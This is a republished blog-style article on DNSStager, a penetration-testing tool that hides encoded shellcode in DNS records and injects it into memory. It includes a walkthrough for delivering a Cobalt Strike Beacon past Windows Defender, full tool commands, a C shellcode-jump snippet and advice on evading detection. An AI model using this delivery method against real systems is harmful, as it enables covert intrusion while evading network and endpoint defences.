How DNSStager Hides Malware in DNS Queries for Stealthy Penetration Testing

DNSStager is an open‑source tool that encodes, splits, and embeds payloads into DNS AAAA or TXT records, uses a fake DNS server to deliver the chunks, reassembles them on the target, and injects the shellcode directly into memory, enabling covert malware delivery when only DNS traffic is allowed.

Black & White Path
Black & White Path
Black & White Path
How DNSStager Hides Malware in DNS Queries for Stealthy Penetration Testing

Background: Why DNSStager Is Needed

During a real penetration test the author encountered a target that blocked all outbound traffic except DNS, a common enterprise configuration where firewalls allow UDP/53. The challenge was how to transfer a payload of several hundred kilobytes or megabytes without using HTTP or TCP tunnels.

What DNSStager Is

DNSStager is an open‑source utility for red‑team and penetration‑test engineers that hides a payload inside DNS records and retrieves it via normal DNS resolution. The workflow consists of three steps:

Step 1 – Encode + Split: The original shellcode is XOR‑encoded (and Base64‑encoded in TXT mode) and divided into small chunks.

Step 2 – DNS Server Distribution: A forged DNS server answers queries for specially crafted sub‑domains, returning one chunk per response.

Step 3 – Client Receive + Memory Injection: A client agent issues the DNS queries, reassembles the chunks into the full payload, and injects it directly into memory without writing files.

The entire exchange appears as ordinary DNS lookups, avoiding HTTP/TLS traffic and evading most firewalls.

Core Features

IPv6 AAAA record mode – stores 16‑byte chunks in IPv6 addresses.

TXT record mode – stores larger chunks, with an extra Base64 layer for obfuscation.

XOR encoding – prevents simple signature detection.

Optional second‑layer Base64 in TXT mode.

C language and Go language agents – both customizable for different injection techniques.

Configurable request interval – the --sleep N flag inserts a delay between queries to reduce noise.

Practical Demonstration: Pulling a Cobalt Strike Beacon

The author demonstrates the full attack against a fully patched Windows Server 2019 with Windows Defender enabled.

4.1 Generate Shellcode

The Cobalt Strike console creates a Beacon payload saved as payload.bin, which becomes the “malware” to be delivered.

4.2 Launch DNSStager

./dnsstager.py --domain test.mydnsserver.live --prefix cdn --payload linux/x64/meterpreter/reverse_tcp --shellcode_path payload.bin --xorkey 0x20

Key parameters: --domain: the domain that DNSStager will serve as an authoritative NS. --prefix: sub‑domain prefix (e.g., cdn0, cdn1) used to generate many queries. --xorkey: XOR key (here 0x20).

After starting, DNSStager prints the generated sub‑domains, each mapping to a payload chunk.

4.3 Verify DNS Resolution

dig AAAA cdn0.test.mydnsserver.live

The response contains a 16‑byte XOR‑encoded fragment of the payload.

4.4 Generate and Deploy the Agent

DNSStager builds an executable agent (C or Go) that repeatedly queries the sub‑domains, collects all chunks, reassembles the shellcode, and injects it into memory.

4.5 Run the Agent and Receive the Beacon

The agent is copied to the target server and executed. The Beacon appears in the Cobalt Strike console, while network traffic consists only of DNS queries; Windows Defender raises no alerts.

Traffic Analysis and Detection

Wireshark captures show about 59 DNS AAAA requests, each returning a 16‑byte chunk. Larger payloads increase the request count proportionally (e.g., a 1 MB payload would generate a substantial number of DNS queries). Adding --sleep N spreads the traffic over time, making detection harder.

Customizing the Client Agent

The agent source resides in the templates/ directory. The C agent obtains the shellcode address and jumps to it:

int main(){
    // Get shellcode address
    LPVOID ShellcodeAddress = GetShellCodeAddress();
    // Jump to shellcode
    goto *ShellcodeAddress;
}

Developers can replace the jump with other injection techniques such as Remote Thread or Process Hollowing. The Go agent uses CreateFiber for execution.

Installation

# Clone the repository
git clone https://github.com/mhaskar/DNSStager

# Install Python dependencies
pip3 install -r requirements.txt

# Run DNSStager (requires root)
sudo ./dnsstager.py

Compiling the C agent requires mingw-w64; the Go agent needs Go 1.16 or newer. Systemd‑resolved must be stopped before running DNSStager to free port 53.

Conclusion

DNSStager’s value lies in disguising payload delivery as legitimate DNS queries, which are typically allowed outbound in corporate networks. Combined with XOR encoding and in‑memory execution, it provides a practical stealth mechanism for penetration testers facing DNS‑only egress.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

DNSPenetration TestingMemory InjectionCobalt StrikePayload StagingStealth Attack
Black & White Path
Written by

Black & White Path

We are the beacon of the cyber world, a stepping stone on the road to security.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.